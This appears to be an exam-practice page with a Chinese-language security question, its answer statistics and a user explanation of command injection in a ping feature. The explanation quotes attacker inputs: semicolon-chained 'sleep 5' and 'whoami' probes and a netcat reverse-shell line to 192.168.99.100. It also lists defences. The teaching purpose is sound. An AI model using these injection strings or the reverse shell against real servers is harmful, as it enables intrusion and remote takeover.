33. 請問這些日誌內容裡面的「127.0.0.1; sleep 5」,最有可能是發生下列哪一種攻擊情境?
(A) 攻擊者想確認該功能是否存在資料庫注入攻擊(SQL Injection)
(B) 攻擊者想確認該功能是否存在反序列化攻擊(Insecure Deserialization)
(C) 攻擊者想確認該功能是否存在指令注入攻擊 (Command Injection)
(D) 攻擊者想確認該功能是否存在資安記錄及監控失效 (Security Logging and Monitoring Failures)

答案:登入後查看
統計: A(1), B(3), C(39), D(17), E(0) #3536979

詳解 (共 2 筆)

#6842942

答案: (C) 攻擊者想確認該功能是否存在指令注入攻擊 (Command Injection)

? 題目解析

題目描述的是一個有「ping」功能的伺服器網頁應用,
而攻擊者在輸入欄位中輸入了這樣的內容:

127.0.0.1; sleep 5 127.0.0.1; whoami 127.0.0.1; /bin/bash -i 2>&1 | nc 192.168.99.100 80 > /tmp/tmp.txt

? 一、關鍵線索

  • 原本功能應該只接受輸入 IP,例如:

    ping 127.0.0.1
  • 但攻擊者在 IP 後面加上分號 ;,再接其他指令,例如:

    127.0.0.1; sleep 5

    這代表他懷疑程式內部可能是這樣執行的:

    os.system("ping " + user_input)

    若如此,攻擊者就能透過 指令連接符號 ;,在同一行執行多個命令。

? 二、攻擊手法說明:Command Injection(指令注入)

  • 攻擊重點:利用應用程式把使用者輸入直接當作系統命令執行。

  • 攻擊指令範例與題目完全相符:

    • sleep 5:測試是否能讓系統延遲回應(確認是否可執行指令)

    • whoami:確認執行身分

    • bash -i | nc ...:建立反向 shell 連線

? 三、其他選項排除

選項 為何錯誤
(A) SQL Injection 針對資料庫查詢語法注入,如 SELECT * FROM users WHERE id='1 OR 1=1',與此題的系統命令無關。
(B) Insecure Deserialization 與物件反序列化漏洞有關(常見於 Java、PHP),此題是命令注入,不相關。
(D) Security Logging and Monitoring Failures 這是防護面問題,非攻擊類型。題目描述的是攻擊行為。

✅ 正確答案:

(C) 指令注入攻擊 (Command Injection)

?補充知識

常見檢測指令注入的方法:

127.0.0.1; sleep 5 # 回應延遲,表示可能成功注入 127.0.0.1 && whoami # 嘗試列出執行帳號

防禦方式:

  • 嚴格輸入驗證(Whitelist IP 格式)

  • 使用安全 API(例如 subprocess.run([...], shell=False))

  • 最小權限原則(非 root 執行)

1
0
#6622530
攻擊日誌中 sleep 指令的意圖分析...


(共 979 字,隱藏中)
前往觀看
1
0